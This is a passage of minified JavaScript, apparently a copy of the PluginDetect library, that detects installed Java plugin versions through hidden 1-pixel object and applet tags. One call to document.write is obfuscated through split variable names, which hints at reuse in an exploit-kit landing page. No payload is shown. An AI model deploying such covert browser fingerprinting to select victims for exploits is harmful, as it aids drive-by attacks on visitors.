  856.                       c.setStyle(c.div, c.defaultStyle.concat(["display", "block", "width", c.divWidth + "px", "height", (c.pluginSize + 3) + "px", "fontSize", (c.pluginSize + 3) + "px", "lineHeight", (c.pluginSize + 3) + "px"]));
  857.                       if (!a) {
  858.                           c.setStyle(c.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  859.                           c.insertDivInBody(c.div)
  860.                       }
  861.                   }
  862.               }
  863.           },
  864.           pluginSize: 1,
  865.           altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  866.           emptyNode: function (c) {
  867.               var b = this,
  868.                   d = b.$,
  869.                   a, f;
  870.               if (c) {
  871.                   if (d.browser.isIE) {
  872.                       b.setStyle(c, ["display", "none"])
  873.                   }
  874.                   try {
  875.                       c.innerHTML = ""
  876.                   } catch (f) {}
  877.               }
  878.           },
  879.           LASTfuncs: [],
  880.           onDoneEmptyDiv: function () {
  881.               var f = this,
  882.                   g = f.$,
  883.                   b, d, c, a, h;
  884.               f.initDiv();
  885.               if (!g.win.loaded || g.win.funcs0.length || g.win.funcs.length) {
  886.                   return
  887.               }
  888.               for (b in g.Plugins) {
  889.                   d = g.Plugins[b];
  890.                   if (d) {
  891.                       if (d.OTF == 3 || (d.funcs && d.funcs.length)) {
  892.                           return
  893.                       }
  894.                   }
  895.               }
  896.               g.ev.callArray(f.LASTfuncs);
  897.               a = f.getDiv();
  898.               if (a) {
  899.                   if (f.isDivPermanent()) {} else {
  900.                       if (a.childNodes) {
  901.                           for (b = a.childNodes.length - 1; b >= 0; b--) {
  902.                               c = a.childNodes[b];
  903.                               f.emptyNode(c)
  904.                           }
  905.                           try {
  906.                               a.innerHTML = ""
  907.                           } catch (h) {}
  908.                       }
  909.                       if (a.parentNode) {
  910.                           try {
  911.                               a.parentNode.removeChild(a)
  912.                           } catch (h) {}
  913.                           a = null;
  914.                           f.div = null
  915.                       }
  916.                   }
  917.               }
  918.           },
  919.           width: function () {
  920.               var g = this,
  921.                   e = g.DOM,
  922.                   f = e.$,
  923.                   d = g.span,
  924.                   b, c, a = -1;
  925.               b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  926.               c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  927.               return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
  928.           },
  929.           obj: function (b) {
  930.               var d = this,
  931.                   c = d.span,
  932.                   a = c && c.firstChild ? c.firstChild : null;
  933.               return a
  934.           },
  935.           readyState: function () {
  936.               var b = this,
  937.                   a = b.DOM.$;
  938.               return a.browser.isIE ? a.getPROP(b.obj(), "readyState") : b.undefined
  939.           },
  940.           objectProperty: function () {
  941.               var d = this,
  942.                   b = d.DOM,
  943.                   c = b.$,
  944.                   a;
  945.               if (b.isEnabled.objectProperty()) {
  946.                   a = c.getPROP(d.obj(), "object")
  947.               }
  948.               return a
  949.           },
  950.           getTagStatus: function (b, m, r, p, f, h) {
  951.               var s = this,
  952.                   d = s.$,
  953.                   q;
  954.               if (!b || !b.span) {
  955.                   return -2
  956.               }
  957.               var k = b.width(),
  958.                   c = b.readyState(),
  959.                   a = b.objectProperty();
  960.               if (a) {
  961.                   return 1.5
  962.               }
  963.               var g = /clsid\s*\:/i,
  964.                   o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
  965.                   i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
  966.                   l = b && g.test(b.outerHTML || "") ? o : i;
  967.               if (!m || !m.span || !l || !l.span) {
  968.                   return 0
  969.               }
  970.               var j = l.width(),
  971.                   n = m.width(),
  972.                   t = l.readyState();
  973.               if (k < 0 || j < 0 || n <= s.pluginSize) {
  974.                   return 0
  975.               }
  976.               if (h && !b.pi && d.isDefined(a) && d.browser.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
  977.                   b.pi = 1
  978.               }
  979.               if (j < n) {
  980.                   return b.pi ? -0.1 : 0
  981.               }
  982.               if (k >= n) {
  983.                   if (!b.winLoaded && d.win.loaded) {
  984.                       return b.pi ? -0.5 : -1
  985.                   }
  986.                   if (d.isNum(f)) {
  987.                       if (!d.isNum(b.count2)) {
  988.                           b.count2 = f
  989.                       }
  990.                       if (f - b.count2 > 0) {
  991.                           return b.pi ? -0.5 : -1
  992.                       }
  993.                   }
  994.               }
  995.               try {
  996.                   if (k == s.pluginSize && (!d.browser.isIE || c === 4)) {
  997.                       if (!b.winLoaded && d.win.loaded) {
  998.                           return 1
  999.                       }
  1000.                       if (b.winLoaded && d.isNum(f)) {
  1001.                           if (!d.isNum(b.count)) {
  1002.                               b.count = f
  1003.                           }
  1004.                           if (f - b.count >= 5) {
  1005.                               return 1
  1006.                           }
  1007.                       }
  1008.                   }
  1009.               } catch (q) {}
  1010.               return b.pi ? -0.1 : 0
  1011.           },
  1012.           setStyle: function (b, h) {
  1013.               var c = this,
  1014.                   d = c.$,
  1015.                   g = b.style,
  1016.                   a, f;
  1017.               if (g && h) {
  1018.                   for (a = 0; a < h.length; a = a + 2) {
  1019.                       try {
  1020.                           g[h[a]] = h[a + 1]
  1021.                       } catch (f) {}
  1022.                   }
  1023.               }
  1024.           },
  1025.           insertDivInBody: function (a, h) {
  1026.               var j = this,
  1027.                   d = j.$,
  1028.                   g, b = "pd33993399",
  1029.                   c = null,
  1030.                   i = h ? window.top.document : window.document,
  1031.                   f = i.getElementsByTagName("body")[0] || i.body;
  1032.               if (!f) {
  1033.                   try {
  1034.                       i[klfg1 + klfg2]('<div id="' + b + '">./div>');
  1035.                       c = i.getElementById(b)
  1036.                   } catch (g) {}
  1037.               }
  1038.               f = i.getElementsByTagName("body")[0] || i.body;
  1039.               if (f) {
  1040.                   f.insertBefore(a, f.firstChild);
  1041.                   if (c) {
  1042.                       f.removeChild(c)
  1043.                   }
  1044.               }
  1045.           },
  1046.           defaultStyle: ["verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"],
  1047.           insert: function (b, i, g, h, c, q, o) {
  1048.               var s = this,
  1049.                   f = s.$,
  1050.                   r, t = document,
  1051.                   v, m, p = t.createElement("span"),
  1052.                   k, a, l = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (q ? "hidden;" : "visible;") + "display:inline;";
  1053.               if (!f.isDefined(h)) {
  1054.                   h = ""
  1055.               }
  1056.               if (f.isString(b) && (/[^\s]/).test(b)) {
  1057.                   b = b.toLowerCase().replace(/\s/g, "");
  1058.                   v = "<" + b + " ";
  1059.                   v += 'style="' + l + '" ';
  1060.                   var j = 1,
  1061.                       u = 1;
  1062.                   for (k = 0; k < i.length; k = k + 2) {
  1063.                       if (/[^\s]/.test(i[k + 1])) {
  1064.                           v += i[k] + '="' + i[k + 1] + '" '
  1065.                       }
  1066.                       if ((/width/i).test(i[k])) {
  1067.                           j = 0
  1068.                       }
  1069.                       if ((/height/i).test(i[k])) {
  1070.                           u = 0
  1071.                       }
  1072.                   }
  1073.                   v += (j ? 'width="' + s.pluginSize + '" ' : "") + (u ? 'height="' + s.pluginSize + '" ' : "");
  1074.                   v += ">";
  1075.                   for (k = 0; k < g.length; k = k + 2) {
  1076.                       if (/[^\s]/.test(g[k + 1])) {
  1077.                           v += '<param name="' + g[k] + '" value="' + g[k + 1] + '" />'
  1078.                       }
  1079.                   }
  1080.                   v += h + "</" + b + ">"
  1081.               } else {
  1082.                   b = "";
  1083.                   v = h
  1084.               } if (!o) {
  1085.                   s.initDiv(1)
  1086.               }
  1087.               var n = o || s.getDiv();
  1088.               m = {
  1089.                   span: null,
  1090.                   winLoaded: f.win.loaded,
  1091.                   tagName: b,
  1092.                   outerHTML: v,
  1093.                   DOM: s,
  1094.                   time: new Date().getTime(),
  1095.                   width: s.width,
  1096.                   obj: s.obj,
  1097.                   readyState: s.readyState,
  1098.                   objectProperty: s.objectProperty
  1099.               };
  1100.               if (n && n.parentNode) {
  1101.                   s.setStyle(p, s.defaultStyle.concat(["display", "inline"]).concat(o ? [] : ["fontSize", (s.pluginSize + 3) + "px", "lineHeight", (s.pluginSize + 3) + "px"]));
  1102.                   n.appendChild(p);
  1103.                   try {
  1104.                       p.innerHTML = v
  1105.                   } catch (r) {};
  1106.                   m.span = p;
  1107.                   m.winLoaded = f.win.loaded
  1108.               }
  1109.               return m
  1110.           }
  1111.       },
  1112.       file: {
  1113.           $: 1,
  1114.           any: "fileStorageAny999",
  1115.           valid: "fileStorageValid999",
  1116.           save: function (d, f, c) {
  1117.               var b = this,
  1118.                   e = b.$,
  1119.                   a;
  1120.               if (d && e.isDefined(c)) {
  1121.                   if (!d[b.any]) {
  1122.                       d[b.any] = []
  1123.                   }
  1124.                   if (!d[b.valid]) {
  1125.                       d[b.valid] = []
  1126.                   }
  1127.                   d[b.any].push(c);
  1128.                   a = b.split(f, c);
  1129.                   if (a) {
  1130.                       d[b.valid].push(a)
  1131.                   }
  1132.               }
  1133.           },
  1134.           getValidLength: function (a) {
  1135.               return a && a[this.valid] ? a[this.valid].length : 0
  1136.           },
  1137.           getAnyLength: function (a) {
  1138.               return a && a[this.any] ? a[this.any].length : 0
  1139.           },
  1140.           getValid: function (c, a) {
  1141.               var b = this;
  1142.               return c && c[b.valid] ? b.get(c[b.valid], a) : null
  1143.           },
  1144.           getAny: function (c, a) {
  1145.               var b = this;
  1146.               return c && c[b.any] ? b.get(c[b.any], a) : null
  1147.           },
  1148.           get: function (d, a) {
  1149.               var c = d.length - 1,
  1150.                   b = this.$.isNum(a) ? a : c;
  1151.               return (b < 0 || b > c) ? null : d[b]
  1152.           },
  1153.           split: function (g, c) {
  1154.               var b = this,
  1155.                   e = b.$,
  1156.                   f = null,
  1157.                   a, d;
  1158.               g = g ? g.replace(".", "\\.") : "";
  1159.               d = new RegExp("^(.*[^\\/])(" + g + "\\s*)$");
  1160.               if (e.isString(c) && d.test(c)) {
  1161.                   a = (RegExp.$1).split("/");
  1162.                   f = {
  1163.                       name: a[a.length - 1],
  1164.                       ext: RegExp.$2,
  1165.                       full: c
  1166.                   };
  1167.                   a[a.length - 1] = "";
  1168.                   f.path = a.join("/")
  1169.               }
  1170.               return f
  1171.           },
  1172.           z: 0
  1173.       },
  1174.       Plugins: {
  1175.           java: {
  1176.               $: 1,
  1177.               mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  1178.               mimeType_dummy: "application/dummymimejavaapplet",
  1179.               classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  1180.               classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  1181.               navigator: {
  1182.                   $: 1,
  1183.                   a: (function () {
  1184.                       var b, a = !0;
  1185.                       try {
  1186.                           a = window.navigator.javaEnabled()
  1187.                       } catch (b) {}
  1188.                       return a
  1189.                   })(),
  1190.                   javaEnabled: function () {
  1191.                       var t = this;
  1192.                       return t.a
  1193.                   },
  1194.                   mimeObj: 0,
  1195.                   pluginObj: 0
  1196.               },
  1197.               OTF: null,
  1198.               getVerifyTagsDefault: function () {
  1199.                   return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  1200.               },
  1201.               getVersion: function (j, g, i) {
  1202.                   var b = this,
  1203.                       d = b.$,
  1204.                       e, a = b.applet,
  1205.                       h = b.verify,
  1206.                       k = b.navigator,
  1207.                       f = null,
  1208.                       l = null,
  1209.                       c = null;
  1210.                   if (b.getVersionDone === null) {
  1211.                       b.OTF = 0;
  1212.                       k.mimeObj = d.hasMimeType(b.mimeType);
  1213.                       if (k.mimeObj) {
  1214.                           k.pluginObj = k.mimeObj.enabledPlugin
  1215.                       }
  1216.                       if (h) {
  1217.                           h.begin()
  1218.                       }
  1219.                   }
  1220.                   a.setVerifyTagsArray(i);
  1221.                   d.file.save(b, ".jar", g);
  1222.                   if (b.getVersionDone === 0) {
  1223.                       if (a.should_Insert_Query_Any()) {
  1224.                           e = a.insert_Query_Any(j);
  1225.                           b.setPluginStatus(e[0], e[1], f, j)
  1226.                       }
  1227.                       return
  1228.                   }
  1229.                   if ((!f || d.dbug) && b.navMime.query().version) {
  1230.                       f = b.navMime.version
  1231.                   }
  1232.                   if ((!f || d.dbug) && b.DTK.query(d.dbug).version) {
  1233.                       f = b.DTK.version
  1234.                   }
  1235.                   if ((!f || d.dbug) && b.navPlugin.query().version) {
  1236.                       f = b.navPlugin.version
  1237.                   }
  1238.                   if (b.nonAppletDetectionOk(f)) {
  1239.                       c = f
  1240.                   }
  1241.                   b.setPluginStatus(c, l, f, j);
  1242.                   if (a.should_Insert_Query_Any()) {
  1243.                       e = a.insert_Query_Any(j);
  1244.                       if (e[0]) {
  1245.                           c = e[0];
  1246.                           l = e[1]
  1247.                       }
  1248.                   }
  1249.                   b.setPluginStatus(c, l, f, j)
  1250.               },
  1251.               nonAppletDetectionOk: function (b) {
  1252.                   var d = this,
  1253.                       e = d.$,
  1254.                       a = d.navigator,
  1255.                       c = 1;
  1256.                   if (!b || !a.javaEnabled() || (!e.browser.isIE && !a.mimeObj) || (e.browser.isIE && !e.browser.ActiveXEnabled)) {
  1257.                       c = 0
  1258.                   } else {
  1259.                       if (e.OS >= 20) {} else {
  1260.                           if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  1261.                               c = 0
  1262.                           }
  1263.                       }
  1264.                   }
  1265.                   return c
  1266.               },
  1267.               setPluginStatus: function (d, i, g, h) {
  1268.                   var b = this,
  1269.                       e = b.$,
  1270.                       f, c = 0,
  1271.                       a = b.applet;
  1272.                   g = g || b.version0;
  1273.                   f = a.isRange(d);
  1274.                   if (f) {
  1275.                       if (a.setRange(f, h) == d) {
  1276.                           c = f
  1277.                       }
  1278.                       d = 0
  1279.                   }
  1280.                   if (b.OTF < 3) {
  1281.                       b.installed = c ? (c > 0 ? 0.7 : -0.1) : (d ? 1 : (g ? -0.2 : -1))
  1282.                   }
  1283.                   if (b.OTF == 2 && b.NOTF && !b.applet.getResult()[0]) {
  1284.                       b.installed = g ? -0.2 : -1
  1285.                   }
  1286.                   if (b.OTF == 3 && b.installed != -0.5 && b.installed != 0.5) {
  1287.                       b.installed = (b.NOTF.isJavaActive(1) == 1 ? 0.5 : -0.5)
  1288.                   }
  1289.                   if (b.OTF == 4 && (b.installed == -0.5 || b.installed == 0.5)) {
  1290.                       if (d) {
  1291.                           b.installed = 1
  1292.                       } else {
  1293.                           if (c) {
  1294.                               b.installed = c > 0 ? 0.7 : -0.1
  1295.                           } else {
  1296.                               if (b.NOTF.isJavaActive(1) == 1) {
  1297.                                   if (g) {
  1298.                                       b.installed = 1;
  1299.                                       d = g
  1300.                                   } else {
  1301.                                       b.installed = 0
  1302.                                   }
  1303.                               } else {
  1304.                                   if (g) {
  1305.                                       b.installed = -0.2
  1306.                                   } else {
  1307.                                       b.installed = -1
  1308.                                   }
  1309.                               }
  1310.                           }
  1311.                       }
  1312.                   }
  1313.                   if (g) {
  1314.                       b.version0 = e.formatNum(e.getNum(g))
  1315.                   }
  1316.                   if (d && !c) {
  1317.                       b.version = e.formatNum(e.getNum(d))
  1318.                   }
  1319.                   if (i && e.isString(i)) {
  1320.                       b.vendor = i
  1321.                   }
  1322.                   if (!b.vendor) {
  1323.                       b.vendor = ""
  1324.                   }
  1325.                   if (b.verify && b.verify.isEnabled()) {
  1326.                       b.getVersionDone = 0
  1327.                   } else {
  1328.                       if (b.getVersionDone != 1) {
  1329.                           if (b.OTF < 2) {
  1330.                               b.getVersionDone = 0
  1331.                           } else {
  1332.                               b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
  1333.                           }
  1334.                       }
  1335.                   }
  1336.               },
  1337.               DTK: {
  1338.                   $: 1,
  1339.                   hasRun: 0,
  1340.                   status: null,
  1341.                   VERSIONS: [],
  1342.                   version: "",
  1343.                   HTML: null,
  1344.                   Plugin2Status: null,
  1345.                   classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  1346.                   mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  1347.                   isDisabled: function (a) {
  1348.                       var c = this,
  1349.                           d = c.$,
  1350.                           b = d.browser;
  1351.                       if (!a && (!d.DOM.isEnabled.objectTag() || (b.isGecko && d.compareNums(b.verGecko, d.formatNum("1.6")) <= 0) || (b.isSafari && d.OS == 1 && (!b.verSafari || d.compareNums(b.verSafari, "5,1,0,0") < 0)) || b.isChrome)) {
  1352.                           return 1
  1353.                       }
  1354.                       return 0
  1355.                   },
  1356.                   query: function (n) {
  1357.                       var l = this,
  1358.                           h = l.$,
  1359.                           f = l.$$,
  1360.                           k, m, i, a = h.DOM.altHTML,
  1361.                           g = {},
  1362.                           b, d = null,
  1363.                           j = null,
  1364.                           c = (l.hasRun || l.isDisabled(n));
  1365.                       l.hasRun = 1;
  1366.                       if (c) {
  1367.                           return l
  1368.                       }
  1369.                       l.status = 0;
  1370.                       if (h.browser.isIE) {
  1371.                           for (m = 0; m < l.classID.length; m++) {
  1372.                               l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  1373.                               d = l.HTML.obj();
  1374.                               if (h.getPROP(d, "jvms")) {
  1375.                                   break
  1376.                               }
  1377.                           }
  1378.                       } else {
  1379.                           i = h.hasMimeType(l.mimeType);
  1380.                           if (i && i.type) {
  1381.                               l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  1382.                               d = l.HTML.obj()
  1383.                           }
  1384.                       } if (d) {
  1385.                           try {
  1386.                               b = h.getPROP(d, "jvms");
  1387.                               if (b) {
  1388.                                   j = b.getLength();
  1389.                                   if (h.isNum(j)) {
  1390.                                       l.status = j > 0 ? 1 : -1;
  1391.                                       for (m = 0; m < j; m++) {
  1392.                                           i = h.getNum(b.get(j - 1 - m).version);
  1393.                                           if (i) {
  1394.                                               l.VERSIONS.push(i);
  1395.                                               g["a" + h.formatNum(i)] = 1
  1396.                                           }
  1397.                                       }
  1398.                                   }
  1399.                               }
  1400.                           } catch (k) {}
  1401.                       }
  1402.                       i = 0;
  1403.                       for (m in g) {
  1404.                           i++
  1405.                       }
  1406.                       if (i && i !== l.VERSIONS.length) {
  1407.                           l.VERSIONS = []
  1408.                       }
  1409.                       if (l.VERSIONS.length) {
  1410.                           l.version = h.formatNum(l.VERSIONS[0])
  1411.                       };
  1412.                       return l
  1413.                   }
  1414.               },
  1415.               navMime: {
  1416.                   $: 1,
  1417.                   hasRun: 0,
  1418.                   mimetype: "",
  1419.                   version: "",
  1420.                   length: 0,
  1421.                   mimeObj: 0,
  1422.                   pluginObj: 0,
  1423.                   isDisabled: function () {
  1424.                       var b = this,
  1425.                           d = b.$,
  1426.                           c = b.$$,
  1427.                           a = c.navigator;
  1428.                       if (d.browser.isIE || !a.mimeObj || !a.pluginObj) {
  1429.                           return 1
  1430.                       }
  1431.                       return 0
  1432.                   },
  1433.                   query: function () {
  1434.                       var i = this,
  1435.                           f = i.$,
  1436.                           a = i.$$,
  1437.                           b = (i.hasRun || i.isDisabled());
  1438.                       i.hasRun = 1;
  1439.                       if (b) {
  1440.                           return i
  1441.                       };
  1442.                       var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1443.                           g, l, j, d = "",
  1444.                           h = "a",
  1445.                           o, m, k = {},
  1446.                           c = f.formatNum("0");
  1447.                       for (l = 0; l < navigator.mimeTypes.length; l++) {
  1448.                           o = navigator.mimeTypes[l];
  1449.                           m = o ? o.enabledPlugin : 0;
  1450.                           g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1451.                           if (g && m && (m.description || m.name)) {
  1452.                               if (!k[h + g]) {
  1453.                                   i.length++
  1454.                               }
  1455.                               k[h + g] = o.type;
  1456.                               if (f.compareNums(g, c) > 0) {
  1457.                                   c = g
  1458.                               }
  1459.                           }
  1460.                       }
  1461.                       g = k[h + c];
  1462.                       if (g) {
  1463.                           o = f.hasMimeType(g);
  1464.                           i.mimeObj = o;
  1465.                           i.pluginObj = o ? o.enabledPlugin : 0;
  1466.                           i.mimetype = g;
  1467.                           i.version = c
  1468.                       };
  1469.                       return i
  1470.                   }
  1471.               },
  1472.               navPlugin: {
  1473.                   $: 1,
  1474.                   hasRun: 0,
  1475.                   version: "",
  1476.                   isDisabled: function () {
  1477.                       var d = this,
  1478.                           c = d.$,
  1479.                           b = d.$$,
  1480.                           a = b.navigator;
  1481.                       if (c.browser.isIE || !a.mimeObj || !a.pluginObj) {
  1482.                           return 1
  1483.                       }
  1484.                       return 0
  1485.                   },
  1486.                   query: function () {
  1487.                       var m = this,
  1488.                           e = m.$,
  1489.                           c = m.$$,
  1490.                           h = c.navigator,
  1491.                           j, l, k, g, d, a, i, f = 0,
  1492.                           b = (m.hasRun || m.isDisabled());
  1493.                       m.hasRun = 1;
  1494.                       if (b) {
  1495.                           return m
  1496.                       };
  1497.                       a = h.pluginObj.name || "";
  1498.                       i = h.pluginObj.description || "";
  1499.                       if (!f || e.dbug) {
  1500.                           g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1501.                           if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  1502.                               f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  1503.                           }
  1504.                       }
  1505.                       if (!f || e.dbug) {
  1506.                           g = /Java[^\d]*Plug-in/i;
  1507.                           l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1508.                           k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1509.                           if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  1510.                               l = 0
  1511.                           }
  1512.                           if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  1513.                               k = 0
  1514.                           }
  1515.                           d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  1516.                           if (d) {
  1517.                               f = d
  1518.                           }
  1519.                       }
  1520.                       if (!f && e.browser.isSafari && e.OS == 2) {
  1521.                           j = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  1522.                           if (j) {
  1523.                               l = e.getNum(j.description);
  1524.                               if (l) {
  1525.                                   f = l
  1526.                               }
  1527.                           }
  1528.                       };
  1529.                       if (f) {
  1530.                           m.version = e.formatNum(f)
  1531.                       };
  1532.                       return m
  1533.                   }
  1534.               },
  1535.               applet: {
  1536.                   $: 1,
  1537.                   codebase: {
  1538.                       $: 1,
  1539.                       isMin: function (a) {
  1540.                           return this.$.codebase.isMin(this, a)
  1541.                       },
  1542.                       search: function () {
  1543.                           return this.$.codebase.search(this)
  1544.                       },
  1545.                       ParamTags: '<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />',
  1546.                       DIGITMAX: [
  1547.                           [16, 64],
  1548.                           [0, 0, 512], 0, [0, 0, 0, 256], 0, [0, 0, 0, 1],
  1549.                           [0, 0, 0, 64],
  1550.                           [0, 0, 0, 32]
  1551.                       ],
  1552.                       DIGITMIN: [1, 0, 0, 0],
  1553.                       Upper: ["999", "10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"],
  1554.                       Lower: ["10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"],
  1555.                       convert: [
  1556.                           function (b, a) {
  1557.                               return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3], "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
  1558.                           },
  1559.                           function (b, a) {
  1560.                               return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0, b[2].length - 1 || 1)]
  1561.                           },
  1562.                           0,
  1563.                           function (b, a) {
  1564.                               return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1565.                           },
  1566.                           0, 1,
  1567.                           function (b, a) {
  1568.                               return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1569.                           },
  1570.                           1
  1571.                       ]
  1572.                   },
  1573.                   results: [
  1574.                       [null, null],
  1575.                       [null, null],
  1576.                       [null, null],
  1577.                       [null, null]
  1578.                   ],
  1579.                   getResult: function () {
  1580.                       var b = this,
  1581.                           d = b.results,
  1582.                           a, c = [];
  1583.                       for (a = d.length - 1; a >= 0; a--) {
  1584.                           c = d[a];
  1585.                           if (c[0]) {
  1586.                               break
  1587.                           }
  1588.                       }
  1589.                       c = [].concat(c);
  1590.                       return c
  1591.                   },
  1592.                   DummySpanTagHTML: 0,
  1593.                   HTML: [0, 0, 0, 0],
  1594.                   active: [0, 0, 0, 0],
  1595.                   DummyObjTagHTML: 0,
  1596.                   DummyObjTagHTML2: 0,
  1597.                   allowed: [1, 1, 1, 1],
  1598.                   VerifyTagsHas: function (c) {
  1599.                       var d = this,
  1600.                           b;
  1601.                       for (b = 0; b < d.allowed.length; b++) {
  1602.                           if (d.allowed[b] === c) {
  1603.                               return 1
  1604.                           }
  1605.                       }
  1606.                       return 0
  1607.                   },
  1608.                   saveAsVerifyTagsArray: function (c) {
  1609.                       var b = this,
  1610.                           d = b.$,
  1611.                           a;
  1612.                       if (d.isArray(c)) {
  1613.                           for (a = 1; a < b.allowed.length; a++) {
  1614.                               if (c.length > a - 1 && d.isNum(c[a - 1])) {
  1615.                                   if (c[a - 1] < 0) {
  1616.                                       c[a - 1] = 0
  1617.                                   }
  1618.                                   if (c[a - 1] > 3) {
  1619.                                       c[a - 1] = 3
  1620.                                   }
  1621.                                   b.allowed[a] = c[a - 1]
  1622.                               }
  1623.                           }
  1624.                           b.allowed[0] = b.allowed[3]
  1625.                       }
  1626.                   },
  1627.                   setVerifyTagsArray: function (d) {
  1628.                       var b = this,
  1629.                           c = b.$,
  1630.                           a = b.$$;
  1631.                       if (a.getVersionDone === null) {
  1632.                           b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1633.                       }
  1634.                       if (c.dbug) {
  1635.                           b.saveAsVerifyTagsArray([3, 3, 3])
  1636.                       } else {
  1637.                           if (d) {
  1638.                               b.saveAsVerifyTagsArray(d)
  1639.                           }
  1640.                       }
  1641.                   },
  1642.                   isDisabled: {
  1643.                       $: 1,
  1644.                       single: function (d) {
  1645.                           var a = this,
  1646.                               c = a.$,
  1647.                               b = a.$$;
  1648.                           if (d == 0) {
  1649.                               return c.codebase.isDisabled()
  1650.                           }
  1651.                           if ((d == 3 && !c.browser.isIE) || a.all()) {
  1652.                               return 1
  1653.                           }
  1654.                           if (d == 1 || d == 3) {
  1655.                               return !c.DOM.isEnabled.objectTag()
  1656.                           }
  1657.                           if (d == 2) {
  1658.                               return a.AppletTag()
  1659.                           }
  1660.                       },
  1661.                       aA_: null,
  1662.                       all: function () {
  1663.                           var c = this,
  1664.                               f = c.$,
  1665.                               e = c.$$,
  1666.                               b = e.navigator,
  1667.                               a = 0,
  1668.                               d = f.browser;
  1669.                           if (c.aA_ === null) {
  1670.                               if (f.OS >= 20) {
  1671.                                   a = 0
  1672.                               } else {
  1673.                                   if (d.verOpera && d.verOpera < 11 && !b.javaEnabled()) {
  1674.                                       a = 1
  1675.                                   } else {
  1676.                                       if ((d.verGecko && f.compareNums(d.verGecko, f.formatNum("2")) < 0) && !b.mimeObj) {
  1677.                                           a = 1
  1678.                                       } else {
  1679.                                           if (c.AppletTag() && !f.DOM.isEnabled.objectTag()) {
  1680.                                               a = 1
  1681.                                           }
  1682.                                       }
  1683.                                   }
  1684.                               };
  1685.                               c.aA_ = a
  1686.                           }
  1687.                           return c.aA_
  1688.                       },
  1689.                       AppletTag: function () {
  1690.                           var b = this,
  1691.                               d = b.$,
  1692.                               c = b.$$,
  1693.                               a = c.navigator;
  1694.                           return d.browser.isIE ? !a.javaEnabled() : 0
  1695.                       },
  1696.                       VerifyTagsDefault_1: function () {
  1697.                           var b = this.$,
  1698.                               a = b.browser;
  1699.                           if (b.OS >= 20) {
  1700.                               return 1
  1701.                           }
  1702.                           if ((a.isIE && (a.verIE < 9 || !a.ActiveXEnabled)) || (a.verGecko && b.compareNums(a.verGecko, b.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari || b.compareNums(a.verSafari, b.formatNum("4")) < 0)) || (a.verOpera && a.verOpera < 10)) {
  1703.                               return 0
  1704.                           }
  1705.                           return 1
  1706.                       },
  1707.                       z: 0
  1708.                   },
  1709.                   can_Insert_Query: function (d) {
  1710.                       var b = this,
  1711.                           c = b.results[0][0],
  1712.                           a = b.getResult()[0];
  1713.                       if (b.HTML[d] || (d == 0 && c !== null && !b.isRange(c)) || (d == 0 && a && !b.isRange(a))) {
  1714.                           return 0
  1715.                       }
  1716.                       return !b.isDisabled.single(d)
  1717.                   },
  1718.                   can_Insert_Query_Any: function () {
  1719.                       var b = this,
  1720.                           a;
  1721.                       for (a = 0; a < b.results.length; a++) {
  1722.                           if (b.can_Insert_Query(a)) {
  1723.                               return 1
  1724.                           }
  1725.                       }
  1726.                       return 0
  1727.                   },
  1728.                   should_Insert_Query: function (e) {
  1729.                       var c = this,
  1730.                           f = c.allowed,
  1731.                           d = c.$,
  1732.                           b = c.$$,
  1733.                           a = c.getResult()[0];
  1734.                       a = a && (e > 0 || !c.isRange(a));
  1735.                       if (!c.can_Insert_Query(e) || f[e] === 0) {
